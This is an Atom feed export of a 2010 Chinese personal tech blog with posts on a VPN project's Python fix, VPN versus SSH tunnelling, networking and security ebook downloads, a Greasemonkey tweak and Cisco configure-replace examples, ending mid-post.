&lt;span style="color: black;"&gt;af&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;==&lt;/span&gt; &lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;AF_INET&lt;/span&gt;&lt;span style="color: black;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #999988; font-style: italic;"&gt;63&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #999988; font-style: italic;"&gt;#fix by Ken Mercus Lai&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #999988; font-style: italic;"&gt;63&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: #999988; font-style: italic;"&gt;#return inet_ntoa(addr)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #999988; font-style: italic;"&gt;63&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: black;"&gt;socket&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;span style="color: black;"&gt;inet_ntoa&lt;/span&gt;(&lt;span style="color: black;"&gt;addr&lt;/span&gt;)&lt;/pre&gt;改动之后再次运行，这下结果正常了：&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHwmWBNdWI/AAAAAAAAAdE/UMjp6W6X7xc/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHwmWBNdWI/AAAAAAAAAdE/UMjp6W6X7xc/s640/3.png" width="560" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8204284880688240524?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8204284880688240524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8204284880688240524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8204284880688240524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8204284880688240524'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/smartvpn.html' title='smartVPN项目开发记录 （一）'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Lr7AKaVWcQI/TOHt2rcNx9I/AAAAAAAAAdA/mAWnxYxscAM/s72-c/1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6941816005212260170</id><published>2010-11-15T13:23:00.003+08:00</published><updated>2010-11-15T14:01:13.907+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>VPN，可以结合SSH的优势吗？</title><content type='html'>VPN与SSH是常用的加密数据的方式（不限于凸墙），区别大致如下(原文在&lt;u&gt;&lt;a href="http://xijie.wordpress.com/2010/09/09/ssh%e5%92%8cvpn%e5%87%b8%e5%a2%99%e7%9a%84%e5%8c%ba%e5%88%ab%e4%b8%8e%e8%81%94%e7%b3%bb%e5%88%86%e6%9e%90-2/" style="color: blue;"&gt;这里&lt;/a&gt;&lt;/u&gt;)：&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;SSH方式：&lt;br /&gt;通过SSH连接，在本地与远程服务器之间建立一个加密的管道（Tunnel），SSH客户端监听本地端口，形成SOCKET5代理。由于IE对 SOCKET5代理不好，大家一般都是用FireFox。直接将FireFox设置Socket5代理就是可以正常使用的。但是这样，上国内网站也会绕道国外，影响速度。好在FireFox有大量优秀的插件，FoxyProxy和AutoProxy是很常用的通过URL筛选决定是否通过代理访问网站的插件，后者用的尤其多。 &lt;br /&gt;&lt;br /&gt;VPN方式：  &lt;br /&gt;VPN其实也是在本地与远程服务器之间建立了一个加密的通道，但是，与SSH不同的是，VPN客户端会虚拟一个网卡出来（这个虚拟的网卡连接的就是刚才说的那个加密通道），然后修改路由，使流量从加密通道走，达到凸墙的目的。当然，VPN也存在跟SSH相同的问题，如果访问国内网站，会绕道国外，速度很慢。聪明的人们又想出了办法：连接了VPN的电脑相当于有两块网卡，只要让国内流量从真实网卡走而国际流量从虚拟网卡走，这个问题就解决了。实际的操作就是手工加入国内IP的路由，让这部分流量直接走本地连接来搞定。 &lt;br /&gt;&lt;br /&gt;在解决绕道的问题上，大家可以看出SSH方式和VPN方式的不同了，SSH方式可以在URL的级别上筛选网址走加密通道，而VPN方式只能筛选IP。&lt;br /&gt;&lt;br /&gt;举个例子，假设xxx是某强屏蔽的关键字，SSH代理+AutoProxy可以做到使http://www.abc.com/xxx走代理，而http://www.abc.com/yyy不走代理，这是VPN方式力所不及的。当然，VPN方式也有它得天独厚的好处，就是不用对应用软件进行任何设置即可使用，这对一些根本没法设置代理的应用软件是莫大的福音，这也是SSH方式力所不及的。&lt;/blockquote&gt;&lt;br /&gt;简单的来说，SSH在7层，VPN在3层。至于VPN的好处在上面引用的文字中就说的很明白了——不用对应用软件进行任何的设置。换句话说，只要去往某一目的的路由是指向VPN的，那么所有去往此目的地的路由都将自动生效，而基于7层的SSH没有此能力。&lt;br /&gt;&lt;br /&gt;我的考虑是，能不能基于某些现有的SSH代理的处理方式，动态的设置VPN路由，这样不失VPN的特点，又能结合SSH的吸收优势。当然，实际情况肯定还是不能完全像SSH一样灵活。但至少比采用一刀切的方式——国外IP都走VPN——更加灵活。&lt;br /&gt;&lt;br /&gt;基本思路如下：利用autoproxy的列表，使用DNS代理收集哪些IP地址需要使用VPN（同时可以防止DNS污染）。对于需要代理的目的地址（匹配autoproxy列表的项），创建路由指向VPN。同时对于DNS污染的地址，直接指向黑洞，以免出现可能的安全问题。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6941816005212260170?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6941816005212260170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6941816005212260170' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6941816005212260170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6941816005212260170'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/vpnssh.html' title='VPN，可以结合SSH的优势吗？'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-303966415305866061</id><published>2010-11-15T13:09:00.001+08:00</published><updated>2010-11-15T13:11:39.761+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Reading'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><title type='text'>CCDE推荐阅读的RFC文档</title><content type='html'>包括了Cisco中推荐的所有RFC文档，还加入了Petr Lapukhov推荐的3篇。&lt;br /&gt;&lt;br /&gt;由于在kindle上阅读pdf的页面翻页和文档本身不同，而且还有等宽字体的问题。所以把文档都转换成了PDF格式了。&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.xun6.com/file/ccd4e2a43/CCDE+RFC.zip.html" style="color: blue;"&gt;点击下载(Click Here)&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-303966415305866061?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/303966415305866061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=303966415305866061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/303966415305866061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/303966415305866061'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/ccderfc.html' title='CCDE推荐阅读的RFC文档'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1686625477576305482</id><published>2010-11-15T11:32:00.000+08:00</published><updated>2010-11-15T11:32:02.892+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><title type='text'>TAS-ARC《街霸ZERO3》伯迪（BIRDIE）最高难度V-ISM 华丽表演通关录像</title><content type='html'>这个角色是我最头痛的——因为完全不会玩儿……&lt;br /&gt;视频太华丽了&lt;br /&gt;&lt;embed src="http://player.youku.com/player.php/sid/XMjIxODQwMjA4/v.swf" quality="high" width="480" height="400" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1686625477576305482?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1686625477576305482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1686625477576305482' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1686625477576305482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1686625477576305482'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/tas-arczero3birdiev-ism.html' title='TAS-ARC《街霸ZERO3》伯迪（BIRDIE）最高难度V-ISM 华丽表演通关录像'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4126436418023081297</id><published>2010-11-11T11:26:00.000+08:00</published><updated>2010-11-11T11:26:03.695+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>电子书 The Base Damn Firewall Book Period</title><content type='html'>The Base Damn Firewall Book Period —— Cherie Amon &amp;amp; Thomas W. Shinder &amp;amp; Anne Carasik-Henmi&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Lr7AKaVWcQI/TNthY1OZfzI/AAAAAAAAAc0/tIt7WVQc6lg/s1600/Best+Damn+Firewall+Book+Period%252C+The+-+Cherie+Amon+%2526+Thomas+W.+Shinder+%2526+Anne+Carasik-Henmi.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_Lr7AKaVWcQI/TNthY1OZfzI/AAAAAAAAAc0/tIt7WVQc6lg/s320/Best+Damn+Firewall+Book+Period%252C+The+-+Cherie+Amon+%2526+Thomas+W.+Shinder+%2526+Anne+Carasik-Henmi.jpg" width="241" /&gt;&lt;/a&gt;&lt;/div&gt;This book is essential reading for anyone wanting to protect Internet-connected computers from unauthorized access. Coverage includes TCP/IP, setting up firewalls, testing and maintaining firewalls, and much more. All of the major important firewall products are covered including Microsoft Internet Security and Acceleration Server (ISA), ISS BlackICE, Symantec Firewall, Check Point NG, and PIX Firewall. Firewall configuration strategies and techniques are covered in depth.The book answers questions about firewalls, from How do I make Web/HTTP work through my firewall? To What is a DMZ, and why do I want one? And What are some common attacks, and how can I protect my system against them?The Internet's explosive growth over the last decade has forced IT professionals to work even harder to secure the private networks connected to it-from erecting firewalls that keep out malicious intruders to building virtual private networks (VPNs) that permit protected, fully encrypted communications over the Internet's vulnerable public infrastructure.The Best Damn Firewalls Book Period covers the most popular Firewall products, from Cisco's PIX Firewall to Microsoft's ISA Server to CheckPoint NG, and all the components of an effective firewall set up. Anything needed to protect the perimeter of a network can be found in this book.                                       - This book is all encompassing, covering general Firewall issues and protocols, as well as specific products.- Anyone studying for a security specific certification, such as SANS' GIAC Certified Firewall Analyst (GCFW) will find this book an invaluable resource.- The only book to cover all major firewall products from A to Z: CheckPoint, ISA Server, Symatec, BlackICE, PIX Firewall and Nokia.&lt;br /&gt;&lt;br /&gt;PDF格式&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.xun6.com/file/7AE949445/Best+Damn+Firewall+Book+Period%2C+The+-+Cherie+Amon+.html" style="color: blue;"&gt;点我下载(Click Here)&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4126436418023081297?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4126436418023081297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4126436418023081297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4126436418023081297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4126436418023081297'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/base-damn-firewall-book-period.html' title='电子书 The Base Damn Firewall Book Period'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Lr7AKaVWcQI/TNthY1OZfzI/AAAAAAAAAc0/tIt7WVQc6lg/s72-c/Best+Damn+Firewall+Book+Period%252C+The+-+Cherie+Amon+%2526+Thomas+W.+Shinder+%2526+Anne+Carasik-Henmi.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5414171828478202523</id><published>2010-11-10T19:53:00.002+08:00</published><updated>2010-11-10T20:15:26.890+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>电子书 Anti-hacker tool kit</title><content type='html'>Anti-hacker tool kit —— Mike Shema &amp;amp; Bradley C. Johnson&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNqHtfktRHI/AAAAAAAAAcw/IW5PJ-YhvEE/s1600/Anti-hacker+tool+kit+-+Mike+Shema+%2526+Bradley+C.+Johnson.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNqHtfktRHI/AAAAAAAAAcw/IW5PJ-YhvEE/s320/Anti-hacker+tool+kit+-+Mike+Shema+%2526+Bradley+C.+Johnson.jpg" width="258" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;"Using these tools yourself during an audit will help you find the weaknesses in your systems. This is an excellent reference book--one I plan to keep handy." --Simple Nomad, Noted security expert and author of The Hack FAQ and Pandora Put an End to Hacking. Stop hackers in their tracks using the tools and techniques described in this unique resource. Organized by category, "Anti-Hacker Toolkit" provides complete details on the latest and most critical security tools, explains their function, and demonstrates how to configure them to get the best results. New and updated case studies in each chapter illustrate how to implement each tool in real-world situations. Protect your network and prevent disasters using the cutting-edge security tools and exclusive information in this completely up-to-date volume.Explains how to configure and use these and other key tools: Port scanners: Nmap, SuperScan, IpEye, Scanline Enumeration tools: smbclient, nbtstat, Winfingerprint Web vulnerability scanners: Nikto, WebSleuth, Paros, wget Password crackers: PAM, John the Ripper, L0phtCrack Backdoors: VNC, Sub7, Loki, Knark System auditing tools: Nessus, Retina, STAT, Tripwire Packet filters and firewalls: IPFW, Netfilter/Iptables, Cisco PIX Sniffers: snort, BUTTSniffer, TCPDump/WinDump, Ethereal Wireless tools: NetStumbler, Wellenreiter, kismet War dialers: ToneLoc, THC-Scan Incident response tools: auditpol, Loggedon, NTLast Forensics tools: EnCase, Safeback, Ghost, md5sum, FTK Miscellaneous tools: Netcat, Fpipe, Fport, Cygwin, and many more CD-ROM contains all the security tools discussed in the bookAbout the authors: Mike Shema is the Director of Research for NT Objectives, Inc. He is theauthor of "HackNotes Web Security Pocket Reference" and co-author of "Hacking Exposed Web Applications," both from McGraw-Hill/Osborne. Bradley C. Johnson is a network security specialist with a great deal of experience designing, implementing, and maintaining secure networks. He is the co-author, with Mike Shema, of the first edition of this book.&lt;br /&gt;CHM格式&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.xun6.com/file/a8f752246/Anti-hacker+tool+kit+-+Mike+Shema+.html" style="color: blue;"&gt;点我下载(Click Here)&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5414171828478202523?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5414171828478202523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5414171828478202523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5414171828478202523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5414171828478202523'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/anti-hacker-tool-kit.html' title='电子书 Anti-hacker tool kit'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNqHtfktRHI/AAAAAAAAAcw/IW5PJ-YhvEE/s72-c/Anti-hacker+tool+kit+-+Mike+Shema+%2526+Bradley+C.+Johnson.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-4636932980199039955</id><published>2010-11-09T13:58:00.007+08:00</published><updated>2010-11-10T19:57:36.943+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><title type='text'>电子书 Advanced IP Network Design</title><content type='html'>Advanced IP Network Design —— Alvaro Retana &amp;amp; Don Slice &amp;amp; Russ White&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNjwqAuBv4I/AAAAAAAAAcs/nJI83MqygRY/s1600/Advanced+IP+Network+Design+%2528CCIE+Professional+Development%2529+-+Alvaro+Retana+%2526+Don+Slice+%2526+Russ+White.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNjwqAuBv4I/AAAAAAAAAcs/nJI83MqygRY/s320/Advanced+IP+Network+Design+%2528CCIE+Professional+Development%2529+-+Alvaro+Retana+%2526+Don+Slice+%2526+Russ+White.jpg" width="238" /&gt;&lt;/a&gt;&lt;/div&gt;A core textbook for CCIE preparation Learn how to apply effective hierarchical design principles to build stable, large-scale networksExamine broken networks and discover the best methods for fixing themUnderstand how the right topology enhances network performanceConstruct the most efficient addressing and summarization scheme for your networkPrevent network failure by applying the most appropriate redundancy at the network core, distribution layer, and access layerExtend your network's capabilities through proper deployment of advanced IGP- and EGP-based protocolsAdvanced IP Network Design provides the solutions network engineers need to grow and stabilize large IP networks. Technology advancements and corporate growth inevitably lead to the necessity for network expansion. This book presents design concepts and techniques that enable networks to evolve into supporting larger, more complex applications while maintaining critical stability. Advanced IP Network Design provides you with a basic foundation to understand and implement the most efficient network design around the network core, distribution and access layers, and the common and edge network services. After establishing an efficient heirarchical network design, you will learn to apply OSPF, IS-IS, EIGRP, BGP, NHRP, and MPLS. Case studies support each protocol to provide you with valuable solutions to common blocks encountered when implementing an IGP- or EGP-based networkAdvanced IP Network Design offers expert-level solutions and help with CCIE exam preparation through the following features: practical discussion and implementation of CCIE-level networking issues; case studies that highlight real-world design, implementation, management, and troubleshooting issues; scenarios that help you put the presented solutions to use; and chapter-ending review questions and exercises.&lt;br /&gt;PDF格式&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.xun6.com/file/0809F2A46/Advanced+IP+Network+Design+%28CCIE+Professional+Development%29+-+Alvaro+Retana+.html" style="color: blue;"&gt;点我下载(Click Here)&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-4636932980199039955?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/4636932980199039955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=4636932980199039955' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4636932980199039955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/4636932980199039955'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/advanced-ip-network-design-ccie.html' title='电子书 Advanced IP Network Design'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNjwqAuBv4I/AAAAAAAAAcs/nJI83MqygRY/s72-c/Advanced+IP+Network+Design+%2528CCIE+Professional+Development%2529+-+Alvaro+Retana+%2526+Don+Slice+%2526+Russ+White.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1838459131625770742</id><published>2010-11-07T16:16:00.002+08:00</published><updated>2010-11-30T11:24:06.533+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>烦人的的cisco网站底部菜单</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNZf1Tt_XqI/AAAAAAAAAcY/KuFDI1QLLd8/s1600/bottom_bar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNZf1Tt_XqI/AAAAAAAAAcY/KuFDI1QLLd8/s320/bottom_bar.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;这是cisco新版网站，我一直在想，那个没用的菜单能干掉吗？&lt;br /&gt;&lt;br /&gt;当然，拥有firefox，应该是可以做到的。首先下载&lt;u&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748/" style="color: blue;"&gt;Greasemonkey&lt;/a&gt;&lt;/u&gt;，搭配&lt;u&gt;&lt;a href="http://packetlife.net/misc/RemoveCiscoBar.user.js" style="color: blue;"&gt;这个脚本&lt;/a&gt;&lt;/u&gt;接可以了&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1838459131625770742?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1838459131625770742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1838459131625770742' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1838459131625770742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1838459131625770742'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/cisco.html' title='烦人的的cisco网站底部菜单'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TNZf1Tt_XqI/AAAAAAAAAcY/KuFDI1QLLd8/s72-c/bottom_bar.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5549035749301958229</id><published>2010-10-27T17:39:00.004+08:00</published><updated>2010-10-28T00:48:04.267+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>来刷个配置——configure replace</title><content type='html'>经常都有要刷配置的时候，第一直觉我想大部分人都是Ctrl+C，然后Ctrl+V这样。或者&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;copy tftp://xxx run &lt;/span&gt;&lt;/blockquote&gt;这样来完成。如果是一台干净的设备还问题不大，如果是一台有配置的设备，需要贴配置，这样或许不太妥。&lt;br /&gt;我们假设这样一个情景，原来某设备上有一段配置：&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;interface FastEthernet0/0&amp;nbsp; &lt;br /&gt;&amp;nbsp;description To_XXX         &lt;br /&gt;&amp;nbsp;ip address 13.13.13.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto         &lt;br /&gt;!         &lt;br /&gt;interface FastEthernet0/1         &lt;br /&gt;&amp;nbsp;description To_R2         &lt;br /&gt;&amp;nbsp;ip address 12.12.12.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;ip ospf authentication message-digest         &lt;br /&gt;&amp;nbsp;ip ospf message-digest-key 1 md5 cisco         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto&lt;/span&gt;&lt;/blockquote&gt;而不幸的是，某个工程师弄错了东西改动了配置成这样了&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;interface FastEthernet0/0        &lt;br /&gt;&amp;nbsp;description To_R2         &lt;br /&gt;&amp;nbsp;ip address 12.12.12.1 255.255.255.0         &lt;br /&gt;&amp;nbsp;ip ospf authentication message-digest         &lt;br /&gt;&amp;nbsp;ip ospf message-digest-key 1 md5 cisco         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto         &lt;br /&gt;!         &lt;br /&gt;interface FastEthernet0/1         &lt;br /&gt;&amp;nbsp;no ip address         &lt;br /&gt;&amp;nbsp;shutdown         &lt;br /&gt;&amp;nbsp;duplex auto         &lt;br /&gt;&amp;nbsp;speed auto&lt;/span&gt;&lt;/blockquote&gt;幸运的是，工程师即使发现了错误想使用以前配置。这时无论是从打开以前的配置复制粘贴，还是使用 &lt;span style="font-family: Consolas;"&gt;copy start run &lt;/span&gt;来恢复以前的配置都会得到一个非预期的结果：&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family: Consolas;"&gt;interface FastEthernet0/0        &lt;br /&gt;&amp;nbsp;description To_XXX         &lt;br /&gt;&amp;nbsp;ip 